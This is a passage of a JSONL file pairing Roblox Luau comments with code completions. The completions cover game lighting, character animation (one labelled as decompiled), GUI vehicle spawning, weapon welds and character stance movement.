3.3\nlighting.ColorShift_Bottom = Color3.fromRGB(0,0,0)\nlighting.ColorShift_Bottom = Color3.fromRGB(232, 222, 160)\nlighting.EnvironmentDiffuseScale = 0.663\nlighting.EnvironmentDiffuseScale = 0.663\nlighting.GlobalShadows = true\nlighting.OutdoorAmbient = Color3.fromRGB(70, 70, 70)\nlighting.ShadowSoftness = 0.12\n"} +{"prompt": "-- ROBLOX NOTE: no upstream\n-- ROBLOX deviation: this file is not aligned with upstream version", "completion": "\n\nlocal Packages = script.Parent\n\nlocal LuauPolyfill = require(Packages.LuauPolyfill)\nlocal Object = LuauPolyfill.Object\n\nlocal expect = require(Packages.Expect)\n\nlocal jest = require(Packages.Jest)\nlocal jestSnapshot = require(Packages.JestSnapshot)\n\nlocal TestEZ = require(Packages.TestEZ)\nlocal TestEZJestAdapter = require(Packages.TestEZJestAdapter)\n\nreturn {\n\texpect = expect,\n\tjest = jest,\n\ttestEnv = jest.testEnv,\n\tjestSnapshot = {\n\t\ttoMatchSnapshot = jestSnapshot.toMatchSnapshot,\n\t\ttoThrowErrorMatchingSnapshot = jestSnapshot.toThrowErrorMatchingSnapshot,\n\t},\n\tTestEZ = Object.assign({}, TestEZ, {\n\t\tReporters = Object.assign({}, TestEZ.Reporters, TestEZJestAdapter.Reporters),\n\t}),\n}\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__Parent__1 = script.Parent;\nlocal l__Torso__2 = l__Parent__1:WaitForChild(\"Torso\");\nlocal l__Right_Shoulder__3 = l__Torso__2:WaitForChild(\"Right Shoulder\");\nlocal l__Left_Shoulder__4 = l__Torso__2:WaitForChild(\"Left Shoulder\");\nlocal l__Right_Hip__5 = l__Torso__2:WaitForChild(\"Right Hip\");\nlocal l__Left_Hip__6 = l__Torso__2:WaitForChild(\"Left Hip\");\nlocal l__Neck__7 = l__Torso__2:WaitForChild(\"Neck\");\nlocal l__Humanoid__8 = l__Parent__1:WaitForChild(\"Humanoid\");\nlocal u1 = {};\nfunction configureAnimationSet(p1, p2)\n\tif u1[p1] ~= nil then\n\t\tlocal v9, v10, v11 = pairs(u1[p1].connections);\n\t\twhile true do\n\t\t\tlocal v12, v13 = v9(v10, v11);\n\t\t\tif v12 then\n\n\t\t\telse\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tv11 = v12;\n\t\t\tv13:disconnect();\t\t\n\t\tend;\n\tend;\n\tu1[p1] = {};\n\tu1[p1].count = 0;\n\tu1[p1].totalWeight = 0;\n\tu1[p1].connections = {};\n\tlocal v14 = script:FindFirstChild(p1);\n\tif v14 ~= nil then\n\t\ttable.insert(u1[p1].connections, v14.ChildAdded:connect(function(p3)\n\t\t\tconfigureAnimationSet(p1, p2);\n\t\tend));\n\t\ttable.insert(u1[p1].connections, v14.ChildRemoved:connect(function(p4)\n\t\t\tconfigureAnimationSet(p1, p2);\n\t\tend));\n\t\tlocal v15 = 1;\n\t\tlocal v16, v17, v18 = pairs(v14:GetChildren());\n\t\twhile true do\n\t\t\tlocal v19, v20 = v16(v17, v18);\n\t\t\tif v19 then\n\n\t\t\telse\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tv18 = v19;\n\t\t\tif v20:IsA(\"Animation\") then\n\t\t\t\ttable.insert(u1[p1].connections, v20.Changed:connect(function(p5)\n\t\t\t\t\tconfigureAnimationSet(p1, p2);\n\t\t\t\tend));\n\t\t\t\tu1[p1][v15] = {};\n\t\t\t\tu1[p1][v15].anim = v20;\n\t\t\t\tlocal l__Weight__21 = v20:FindFirstChild(\"Weight\");\n\t\t\t\tif l__Weight__21 == nil then\n\t\t\t\t\tu1[p1][v15].weight = 1;\n\t\t\t\telse\n\t\t\t\t\tu1[p1][v15].weight = l__Weight__21.Value;\n\t\t\t\tend;\n\t\t\t\tu1[p1].count = u1[p1].count + 1;\n\t\t\t\tu1[p1].totalWeight = u1[p1].totalWeight + u1[p1][v15].weight;\n\t\t\t\tv15 = v15 + 1;\n\t\t\tend;\t\t\n\t\tend;\n\tend;\n\tif u1[p1].count <= 0 then\n\t\tlocal v22, v23, v24 = pairs(p2);\n\t\twhile true do\n\t\t\tlocal v25, v26 = v22(v23, v24);\n\t\t\tif v25 then\n\n\t\t\telse\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tv24 = v25;\n\t\t\tu1[p1][v25] = {};\n\t\t\tu1[p1][v25].anim = Instance.new(\"Animation\");\n\t\t\tu1[p1][v25].anim.Name = p1;\n\t\t\tu1[p1][v25].anim.AnimationId = v26.id;\n\t\t\tu1[p1][v25].weight = v26.weight;\n\t\t\tu1[p1].count = u1[p1].count + 1;\n\t\t\tu1[p1].totalWeight = u1[p1].totalWeight + v26.weight;\t\t\n\t\tend;\n\tend;\nend;\nlocal u2 = {\n\tidle = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=180435571\", \n\t\t\tweight = 9\n\t\t}, {\n\t\t\tid = \"http://www.roblox.com/asset/?id=180435792\", \n\t\t\tweight = 1\n\t\t} }, \n\twalk = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=180426354\", \n\t\t\tweight = 10\n\t\t} }, \n\trun = { {\n\t\t\tid = \"run.xml\", \n\t\t\tweight = 10\n\t\t} }, \n\tjump = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=125750702\", \n\t\t\tweight = 10\n\t\t} }, \n\tfall = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=180436148\", \n\t\t\tweight = 10\n\t\t} }, \n\tclimb = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=180436334\", \n\t\t\tweight = 10\n\t\t} }, \n\tsit = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=178130996\", \n\t\t\tweight = 10\n\t\t} }, \n\ttoolnone = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=182393478\", \n\t\t\tweight = 10\n\t\t} }, \n\ttoolslash = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=129967390\", \n\t\t\tweight = 10\n\t\t} }, \n\ttoollunge = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=129967478\", \n\t\t\tweight = 10\n\t\t} }, \n\twave = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=128777973\", \n\t\t\tweight = 10\n\t\t} }, \n\tpoint = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=128853357\", \n\t\t\tweight = 10\n\t\t} }, \n\tdance1 = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=182435998\", \n\t\t\tweight = 10\n\t\t}, {\n\t\t\tid = \"http://www.roblox.com/asset/?id=182491037\", \n\t\t\tweight = 10\n\t\t}, {\n\t\t\tid = \"http://www.roblox.com/asset/?id=182491065\", \n\t\t\tweight = 10\n\t\t} }, \n\tdance2 = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=182436842\", \n\t\t\tweight = 10\n\t\t}, {\n\t\t\tid = \"http://www.roblox.com/asset/?id=182491248\", \n\t\t\tweight = 10\n\t\t}, {\n\t\t\tid = \"http://www.roblox.com/asset/?id=182491277\", \n\t\t\tweight = 10\n\t\t} }, \n\tdance3 = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=182436935\", \n\t\t\tweight = 10\n\t\t}, {\n\t\t\tid = \"http://www.roblox.com/asset/?id=182491368\", \n\t\t\tweight = 10\n\t\t}, {\n\t\t\tid = \"http://www.roblox.com/asset/?id=182491423\", \n\t\t\tweight = 10\n\t\t} }, \n\tcheer = { {\n\t\t\tid = \"http://www.roblox.com/asset/?id=129423030\", \n\t\t\tweight = 10\n\t\t} }\n};\nfunction scriptChildModified(p6)\n\tlocal v27 = u2[p6.Name];\n\tif v27 ~= nil then\n\t\tconfigureAnimationSet(p6.Name, v27);\n\tend;\nend;\nscript.ChildAdded:connect(scriptChildModified);\nscript.ChildRemoved:connect(scriptChildModified);\nfor v28, v29 in pairs(u2) do\n\tconfigureAnimationSet(v28, v29);\nend;\nlocal u3 = \"\";\nlocal u4 = {\n\twave = false, \n\tpoint = false, \n\tdance1 = true, \n\tdance2 = true, \n\tdance3 = true, \n\tcheer = false\n};\nlocal u5 = nil;\nlocal u6 = nil;\nlocal u7 = nil;\nfunction stopAllAnimations()\n\tlocal v30 = u3;\n\tif u4[v30] ~= nil then\n\t\tif u4[v30] == false then\n\t\t\tv30 = \"idle\";\n\t\tend;\n\tend;\n\tu3 = \"\";\n\tu5 = nil;\n\tif u6 ~= nil then\n\t\tu6:disconnect();\n\tend;\n\tif u7 ~= nil then\n\t\tu7:Stop();\n\t\tu7:Destroy();\n\t\tu7 = nil;\n\tend;\n\treturn v30;\nend;\nlocal u8 = 1;\nfunction setAnimationSpeed(p7)\n\tif p7 ~= u8 then\n\t\tu8 = p7;\n\t\tu7:AdjustSpeed(u8);\n\tend;\nend;\nfunction keyFrameReachedFunc(p8)\n\tif p8 == \"End\" then\n\t\tlocal v31 = u3;\n\t\tif u4[v31] ~= nil then\n\t\t\tif u4[v31] == false then\n\t\t\t\tv31 = \"idle\";\n\t\t\tend;\n\t\tend;\n\t\tplayAnimation(v31, 0, l__Humanoid__8);\n\t\tsetAnimationSpeed(u8);\n\tend;\nend;\nfunction playAnimation(p9, p10, p11)\n\tlocal v32 = math.random(1, u1[p9].totalWeight);\n\tlocal v33 = 1;\n\twhile true do\n\t\tif u1[p9][v33].weight < v32 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tv32 = v32 - u1[p9][v33].weight;\n\t\tv33 = v33 + 1;\t\n\tend;\n\tlocal l__anim__34 = u1[p9][v33].anim;\n\tif l__anim__34 ~= u5 then\n\t\tif u7 ~= nil then\n\t\t\tu7:Stop(p10);\n\t\t\tu7:Destroy();\n\t\tend;\n\t\tu8 = 1;\n\t\tu7 = p11:LoadAnimation(l__anim__34);\n\t\tu7.Priority = Enum.AnimationPriority.Core;\n\t\tu7:Play(p10);\n\t\tu3 = p9;\n\t\tu5 = l__anim__34;\n\t\tif u6 ~= nil then\n\t\t\tu6:disconnect();\n\t\tend;\n\t\tu6 = u7.KeyframeReached:connect(keyFrameReachedFunc);\n\tend;\nend;\nlocal u9 = \"\";\nfunction toolKeyFrameReachedFunc(p12)\n\tif p12 == \"End\" then\n\t\tplayToolAnimation(u9, 0, l__Humanoid__8);\n\tend;\nend;\nlocal u10 = nil;\nlocal u11 = nil;\nlocal u12 = nil;\nfunction playToolAnimation(p13, p14, p15, p16)\n\tlocal v35 = math.random(1, u1[p13].totalWeight);\n\tlocal v36 = 1;\n\twhile true do\n\t\tif u1[p13][v36].weight < v35 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tv35 = v35 - u1[p13][v36].weight;\n\t\tv36 = v36 + 1;\t\n\tend;\n\tlocal l__anim__37 = u1[p13][v36].anim;\n\tif u10 ~= l__anim__37 then\n\t\tif u11 ~= nil then\n\t\t\tu11:Stop();\n\t\t\tu11:Destroy();\n\t\t\tp14 = 0;\n\t\tend;\n\t\tu11 = p15:LoadAnimation(l__anim__37);\n\t\tif p16 then\n\t\t\tu11.Priority = p16;\n\t\tend;\n\t\tu11:Play(p14);\n\t\tu9 = p13;\n\t\tu10 = l__anim__37;\n\t\tu12 = u11.KeyframeReached:connect(toolKeyFrameReachedFunc);\n\tend;\nend;\nfunction stopToolAnimations()\n\tif u12 ~= nil then\n\t\tu12:disconnect();\n\tend;\n\tu9 = \"\";\n\tu10 = nil;\n\tif u11 ~= nil then\n\t\tu11:Stop();\n\t\tu11:Destroy();\n\t\tu11 = nil;\n\tend;\n\treturn u9;\nend;\nlocal u13 = \"Standing\";\nfunction onRunning(p17)\n\tif 0.01 < p17 then\n\n\telse\n\t\tif u4[u3] == nil then\n\t\t\tplayAnimation(\"idle\", 0.1, l__Humanoid__8);\n\t\t\tu13 = \"Standing\";\n\t\tend;\n\t\treturn;\n\tend;\n\tplayAnimation(\"walk\", 0.1, l__Humanoid__8);\n\tif u5 then\n\t\tif u5.AnimationId == \"http://www.roblox.com/asset/?id=180426354\" then\n\t\t\tsetAnimationSpeed(p17 / 14.5);\n\t\tend;\n\tend;\n\tu13 = \"Running\";\nend;\nfunction onDied()\n\tu13 = \"Dead\";\nend;\nlocal u14 = 0;\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, l__Humanoid__8);\n\tu14 = 0.3;\n\tu13 = \"Jumping\";\nend;\nfunction onClimbing(p18)\n\tplayAnimation(\"climb\", 0.1, l__Humanoid__8);\n\tsetAnimationSpeed(p18 / 12);\n\tu13 = \"Climbing\";\nend;\nfunction onGettingUp()\n\tu13 = \"GettingUp\";\nend;\nfunction onFreeFall()\n\tif u14 <= 0 then\n\t\tplayAnimation(\"fall\", 0.3, l__Humanoid__8);\n\tend;\n\tu13 = \"FreeFall\";\nend;\nfunction onFallingDown()\n\tu13 = \"FallingDown\";\nend;\nfunction onSeated()\n\tu13 = \"Seated\";\nend;\nfunction onPlatformStanding()\n\tu13 = \"PlatformStanding\";\nend;\nfunction onSwimming(p19)\n\tif 0 < p19 then\n\t\tu13 = \"Running\";\n\t\treturn;\n\tend;\n\tu13 = \"Standing\";\nend;\nfunction getTool()\n\tlocal v38, v39, v40 = ipairs(l__Parent__1:GetChildren());\n\twhile true do\n\t\tlocal v41, v42 = v38(v39, v40);\n\t\tif v41 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tv40 = v41;\n\t\tif v42.className == \"Tool\" then\n\t\t\treturn v42;\n\t\tend;\t\n\tend;\n\treturn nil;\nend;\nfunction getToolAnim(p20)\n\tlocal v43, v44, v45 = ipairs(p20:GetChildren());\n\twhile true do\n\t\tlocal v46, v47 = v43(v44, v45);\n\t\tif v46 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tv45 = v46;\n\t\tif v47.Name == \"toolanim\" then\n\t\t\tif v47.className == \"StringValue\" then\n\t\t\t\treturn v47;\n\t\t\tend;\n\t\tend;\t\n\tend;\n\treturn nil;\nend;\nlocal u15 = \"None\";\nfunction animateTool()\n\tif u15 == \"None\" then\n\t\tplayToolAnimation(\"toolnone\", 0.1, l__Humanoid__8, Enum.AnimationPriority.Idle);\n\t\treturn;\n\tend;\n\tif u15 == \"Slash\" then\n\t\tplayToolAnimation(\"toolslash\", 0, l__Humanoid__8, Enum.AnimationPriority.Action);\n\t\treturn;\n\tend;\n\tif u15 == \"Lunge\" then\n\n\telse\n\t\treturn;\n\tend;\n\tplayToolAnimation(\"toollunge\", 0, l__Humanoid__8, Enum.AnimationPriority.Action);\nend;\nfunction moveSit()\n\tl__Right_Shoulder__3.MaxVelocity = 0.15;\n\tl__Left_Shoulder__4.MaxVelocity = 0.15;\n\tl__Right_Shoulder__3:SetDesiredAngle(1.57);\n\tl__Left_Shoulder__4:SetDesiredAngle(-1.57);\n\tl__Right_Hip__5:SetDesiredAngle(1.57);\n\tl__Left_Hip__6:SetDesiredAngle(-1.57);\nend;\nlocal u16 = 0;\nlocal u17 = 0;\nfunction move(p21)\n\tlocal v48 = 1;\n\tlocal v49 = 1;\n\tu16 = p21;\n\tlocal v50 = false;\n\tif 0 < u14 then\n\t\tu14 = u14 - (p21 - u16);\n\tend;\n\tif u13 == \"FreeFall\" then\n\t\tif u14 <= 0 then\n\t\t\tplayAnimation(\"fall\", 0.3, l__Humanoid__8);\n\t\telse\n\t\t\tif u13 == \"Seated\" then\n\t\t\t\tplayAnimation(\"sit\", 0.5, l__Humanoid__8);\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tif u13 == \"Running\" then\n\t\t\t\tplayAnimation(\"walk\", 0.1, l__Humanoid__8);\n\t\t\telseif u13 ~= \"Dead\" then\n\t\t\t\tif u13 ~= \"GettingUp\" then\n\t\t\t\t\tif u13 ~= \"FallingDown\" then\n\t\t\t\t\t\tif u13 ~= \"Seated\" then\n\t\t\t\t\t\t\tif u13 == \"PlatformStanding\" then\n\t\t\t\t\t\t\t\tstopAllAnimations();\n\t\t\t\t\t\t\t\tv48 = 0.1;\n\t\t\t\t\t\t\t\tv49 = 1;\n\t\t\t\t\t\t\t\tv50 = true;\n\t\t\t\t\t\t\tend;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tstopAllAnimations();\n\t\t\t\t\t\t\tv48 = 0.1;\n\t\t\t\t\t\t\tv49 = 1;\n\t\t\t\t\t\t\tv50 = true;\n\t\t\t\t\t\tend;\n\t\t\t\t\telse\n\t\t\t\t\t\tstopAllAnimations();\n\t\t\t\t\t\tv48 = 0.1;\n\t\t\t\t\t\tv49 = 1;\n\t\t\t\t\t\tv50 = true;\n\t\t\t\t\tend;\n\t\t\t\telse\n\t\t\t\t\tstopAllAnimations();\n\t\t\t\t\tv48 = 0.1;\n\t\t\t\t\tv49 = 1;\n\t\t\t\t\tv50 = true;\n\t\t\t\tend;\n\t\t\telse\n\t\t\t\tstopAllAnimations();\n\t\t\t\tv48 = 0.1;\n\t\t\t\tv49 = 1;\n\t\t\t\tv50 = true;\n\t\t\tend;\n\t\tend;\n\telse\n\t\tif u13 == \"Seated\" then\n\t\t\tplayAnimation(\"sit\", 0.5, l__Humanoid__8);\n\t\t\treturn;\n\t\tend;\n\t\tif u13 == \"Running\" then\n\t\t\tplayAnimation(\"walk\", 0.1, l__Humanoid__8);\n\t\telseif u13 ~= \"Dead\" then\n\t\t\tif u13 ~= \"GettingUp\" then\n\t\t\t\tif u13 ~= \"FallingDown\" then\n\t\t\t\t\tif u13 ~= \"Seated\" then\n\t\t\t\t\t\tif u13 == \"PlatformStanding\" then\n\t\t\t\t\t\t\tstopAllAnimations();\n\t\t\t\t\t\t\tv48 = 0.1;\n\t\t\t\t\t\t\tv49 = 1;\n\t\t\t\t\t\t\tv50 = true;\n\t\t\t\t\t\tend;\n\t\t\t\t\telse\n\t\t\t\t\t\tstopAllAnimations();\n\t\t\t\t\t\tv48 = 0.1;\n\t\t\t\t\t\tv49 = 1;\n\t\t\t\t\t\tv50 = true;\n\t\t\t\t\tend;\n\t\t\t\telse\n\t\t\t\t\tstopAllAnimations();\n\t\t\t\t\tv48 = 0.1;\n\t\t\t\t\tv49 = 1;\n\t\t\t\t\tv50 = true;\n\t\t\t\tend;\n\t\t\telse\n\t\t\t\tstopAllAnimations();\n\t\t\t\tv48 = 0.1;\n\t\t\t\tv49 = 1;\n\t\t\t\tv50 = true;\n\t\t\tend;\n\t\telse\n\t\t\tstopAllAnimations();\n\t\t\tv48 = 0.1;\n\t\t\tv49 = 1;\n\t\t\tv50 = true;\n\t\tend;\n\tend;\n\tif v50 then\n\t\tlocal v51 = v48 * math.sin(p21 * v49);\n\t\tl__Right_Shoulder__3:SetDesiredAngle(v51 + 0);\n\t\tl__Left_Shoulder__4:SetDesiredAngle(v51 - 0);\n\t\tl__Right_Hip__5:SetDesiredAngle(-v51);\n\t\tl__Left_Hip__6:SetDesiredAngle(-v51);\n\tend;\n\tlocal v52 = getTool();\n\tif v52 then\n\t\tif v52:FindFirstChild(\"Handle\") then\n\n\t\telse\n\t\t\tstopToolAnimations();\n\t\t\tu15 = \"None\";\n\t\t\tu10 = nil;\n\t\t\tu17 = 0;\n\t\t\treturn;\n\t\tend;\n\telse\n\t\tstopToolAnimations();\n\t\tu15 = \"None\";\n\t\tu10 = nil;\n\t\tu17 = 0;\n\t\treturn;\n\tend;\n\tlocal v53 = getToolAnim(v52);\n\tif v53 then\n\t\tu15 = v53.Value;\n\t\tv53.Parent = nil;\n\t\tu17 = p21 + 0.3;\n\tend;\n\tif u17 < p21 then\n\t\tu17 = 0;\n\t\tu15 = \"None\";\n\tend;\n\tanimateTool();\nend;\nl__Humanoid__8.Died:connect(onDied);\nl__Humanoid__8.Running:connect(onRunning);\nl__Humanoid__8.Jumping:connect(onJumping);\nl__Humanoid__8.Climbing:connect(onClimbing);\nl__Humanoid__8.GettingUp:connect(onGettingUp);\nl__Humanoid__8.FreeFalling:connect(onFreeFall);\nl__Humanoid__8.FallingDown:connect(onFallingDown);\nl__Humanoid__8.Seated:connect(onSeated);\nl__Humanoid__8.PlatformStanding:connect(onPlatformStanding);\nl__Humanoid__8.Swimming:connect(onSwimming);\nlocal u18 = { \"dance1\", \"dance2\", \"dance3\" };\ngame:GetService(\"Players\").LocalPlayer.Chatted:connect(function(p22)\n\tlocal v54 = \"\";\n\tif p22 == \"/e dance\" then\n\t\tv54 = u18[math.random(1, #u18)];\n\telseif string.sub(p22, 1, 3) == \"/e \" then\n\t\tv54 = string.sub(p22, 4);\n\telseif string.sub(p22, 1, 7) == \"/emote \" then\n\t\tv54 = string.sub(p22, 8);\n\tend;\n\tif u13 == \"Standing\" and u4[v54] ~= nil then\n\t\tplayAnimation(v54, 0.1, l__Humanoid__8);\n\tend;\nend);\nplayAnimation(\"idle\", 0.1, l__Humanoid__8);\nu13 = \"Standing\";\nwhile l__Parent__1.Parent ~= nil do\n\tlocal v55, v56 = wait(0.1);\n\tmove(v56);\nend;\n"} +{"prompt": "--[[\nApplies the theme.\n--]]", "completion": "\nreturn function(MapModel)\n\t--Replace the colors.\n\tReplaceColors(MapModel,BrickColor.new(\"Dark green\"),BrickColor.new(\"Institutional white\"))\n\tReplaceColors(MapModel,BrickColor.new(\"Bright green\"),BrickColor.new(\"Institutional white\"))\nend\n"} +{"prompt": "--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------", "completion": "\nelseif guntype == 3 then--pistol\nlocal lleg = model.Parent:FindFirstChild(\"Left Leg\")\nlocal rleg = model.Parent:FindFirstChild(\"Right Leg\")\nif lleg ~= nil and rleg ~= nil then\nif weldmode == 1 then--pistol on right leg\nlocal w = Instance.new(\"Weld\")\nw.Part0 = rleg\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance *-1, 0 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)\nelseif weldmode == 2 then--pistol on left leg\nlocal w = Instance.new(\"Weld\")\nw.Part0 = lleg\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance, 0 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)\nelseif weldmode == 3 then--knife in pant's back, gangsta like\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance *-1, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi / 2 , math.pi / 2, 0)\nelseif weldmode == 4 then--knife in pant's front, gangsta like\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi / 2 , math.pi / 2 *-1, 0)\nend\nend"} +{"prompt": "--[[\nTheNexusAvenger\n\nApplies body colors to the player.\n--]]", "completion": "\n\nlocal SKIN_COLOR = BrickColor.new(\"Bright yellow\")\nlocal TORSO_COLOR = BrickColor.new(\"Light stone grey\")\nlocal LEG_COLOR = BrickColor.new(\"Dark green\")\n\n\n\nlocal BodyColors = Instance.new(\"BodyColors\")\nBodyColors.HeadColor = SKIN_COLOR\nBodyColors.LeftArmColor = SKIN_COLOR\nBodyColors.RightArmColor = SKIN_COLOR\nBodyColors.TorsoColor = TORSO_COLOR\nBodyColors.LeftLegColor = LEG_COLOR\nBodyColors.RightLegColor = LEG_COLOR\nBodyColors.Parent = script.Parent\n\nwait()\nscript:Destroy()\n"} +{"prompt": "-- Morning time", "completion": "\nmorning_h1,morning_m1 = 5,30\t--start\nmorning_h2,morning_m2 = 7,00\t-- end\nlocal morning_time1 = (morning_h1 + (morning_m1/60)) * 60\nlocal morning_time2 = (morning_h2 + (morning_m2/60)) * 60\n"} +{"prompt": "-- Helper function", "completion": "\nfunction SetInformation(index)\n\tbg.T.Text = Vehicles[index].Name\nend\n\nlocal locked = false\nbg.S.MouseButton1Click:connect(function()\n\tif (locked) then return end\n\tlocked = true\n\tlocal vehicleName = player.Name..\"'s Car\"\n\tif game.Workspace:FindFirstChild(player.Name..\"'s Car\") then\n\t\tgame.Workspace[player.Name..\"'s Car\"]:Destroy()\n\tend\n\tif (not workspace:FindFirstChild(vehicleName)) then\n\t\tlocal model = Vehicles[index]:Clone()\n\t\tmodel.Name = vehicleName\n\t\tmodel.Parent = game.Workspace\n\t\tmodel:MakeJoints()\n\t\tmodel:MoveTo(player.Character.Torso.Position + Vector3.new(0, 0, 0))\n\t\tbg.Visible = false\n\tend\t\n\tlocked = false\nend)\n\nbg.B.MouseButton1Click:connect(function()\n\tindex = index - 1\n\tif (index < 1) then index = #Vehicles end\n\tSetInformation(index)\nend)\n\nbg.N.MouseButton1Click:connect(function()\n\tindex = index + 1\n\tif (index > #Vehicles) then index = 1 end\n\tSetInformation(index)\nend)\n\nSetInformation(index)\n"} +{"prompt": "--\t\t\tloca = 10", "completion": "\n\t\telseif sel == 4 then\n\t\t\tinput(true)\n\t\telseif sel == 5 then\n\t\t\thome()\n\t\tend\n\telseif loca == 7 then\n\t\tif sel == 1 then\n\t\t\thandler:FireServer('PM','Valet',.4)\n\t\telseif sel == 2 then\n\t\t\thandler:FireServer('PM','Eco',.65)\n\t\telseif sel == 3 then\n\t\t\thandler:FireServer('PM','Comfort',.825)\n\t\telseif sel == 4 then\n\t\t\thandler:FireServer('PM','Sport',1)\n\t\telseif sel == 5 then\n\t\t\thome()\n\t\tend\n\telseif loca == 8 then\n\t\tif sel == 1 then\n\t\t\thandler:FireServer('Dyn',2.2)\n\t\telseif sel == 2 then\n\t\t\thandler:FireServer('Dyn',2.15)\n\t\telseif sel == 3 then\n\t\t\thandler:FireServer('Dyn',2.1)\n\t\telseif sel == 4 then\n\t\t\thome()\n\t\tend"} +{"prompt": "----------------------------------------------", "completion": "\nlocal RS = Torso[\"Right Shoulder\"]\nlocal LS = Torso[\"Left Shoulder\"]\nlocal RH = char[\"Torso\"]:WaitForChild(\"Right Hip\")\nlocal LH = char[\"Torso\"]:WaitForChild(\"Left Hip\")\nlocal LeftLeg = char[\"Left Leg\"]\nlocal RightLeg = char[\"Right Leg\"]\nlocal Proned2\n\nfunction Stand()\n\tHumanoid.CameraOffset = Vector3.new(0, 0, 0)\n\tHumanoid.WalkSpeed = 16\n\tIsStanced = false\t\n\tfor i, s in pairs(Torso:GetChildren()) do\n\t\tif (s.Name == \"LegWeld\") and (s.ClassName == \"Weld\") then\n\t\t\ts:Destroy()\n\t\tend\n\tend\n\tLH.Part1 = LeftLeg\n\tRH.Part1 = RightLeg\n\tProned2 = Vector3.new(0,0,0)\n\ttweenJoint(RootJoint, CFrame.new()* CFrame.Angles(math.rad(-0),0,math.rad(0)), CFrame.new(0,0,0), function(X) return math.sin(math.rad(X)) end, 0.25)\n\ttweenJoint(RH, CFrame.new(1,-1,0)* CFrame.Angles(math.rad(-0),math.rad(90),math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 0.25)\n\ttweenJoint(LH, CFrame.new(-1,-1,0)* CFrame.Angles(math.rad(-0),math.rad(-90),math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 0.25)\n\ttweenJoint(RS, CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 0.25)\n\ttweenJoint(LS, CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 0.25)\nend\n\nfunction LeanRight()\n\tHumanoid.CameraOffset = Vector3.new(0.5, -0.35, 0)\n\tHumanoid.WalkSpeed = 9\n\tIsStanced = true\t\n\tProned2 = Vector3.new(0,0,0)\n\tRH.Part1 = nil\n\tCreateWeld(RightLeg, CFrame.new(-0.2,1.85,0.3)* CFrame.Angles(math.rad(-0),0,math.rad(-20)))\n\ttweenJoint(RootJoint, CFrame.new(0.1,-0.25,0)* CFrame.Angles(math.rad(-0),0,math.rad(-20)), CFrame.new(0,0,0), function(X) return math.sin(math.rad(X)) end, 0.25)\nend\n\nfunction LeanLeft()\n\tHumanoid.CameraOffset = Vector3.new(-0.5, -0.35, 0)\n\tHumanoid.WalkSpeed = 9\n\tIsStanced = true\t\n\tProned2 = Vector3.new(0,0,0)\n\tLH.Part1 = nil\n\tCreateWeld(LeftLeg, CFrame.new(0.2,1.85,0.3)* CFrame.Angles(math.rad(-0),0,math.rad(20)))\n\ttweenJoint(RootJoint, CFrame.new(-0.1,-0.25,0)* CFrame.Angles(math.rad(-0),0,math.rad(20)), CFrame.new(0,0,0), function(X) return math.sin(math.rad(X)) end, 0.25)\nend\n\nfunction Crouch()\n\tHumanoid.CameraOffset = Vector3.new(0, -1, 0)\n\tHumanoid.WalkSpeed = 9\n\tfor i, s in pairs(Torso:GetChildren()) do\n\t\tif (s.Name == \"LegWeld\") and (s.ClassName == \"Weld\") then\n\t\t\ts:Destroy()\n\t\tend\n\tend\n\tIsStanced = true\t\n\tRH.Part1 = RightLeg\n\tLH.Part1 = LeftLeg\n\tProned2 = Vector3.new(0,0,0)\n\ttweenJoint(RootJoint, CFrame.new(0,-1,0)* CFrame.Angles(math.rad(-0),0,math.rad(0)), CFrame.new(0,0,0), function(X) return math.sin(math.rad(X)) end, 0.25)\n\ttweenJoint(RH, CFrame.new(1,-0.15,-0.65)* CFrame.Angles(math.rad(-20),math.rad(90),math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 0.25)\n\ttweenJoint(LH, CFrame.new(-1,-0.675,-0.625)* CFrame.Angles(math.rad(-60),math.rad(-90),math.rad(0)), nil, function(X) return math.sin(math.rad(X)) end, 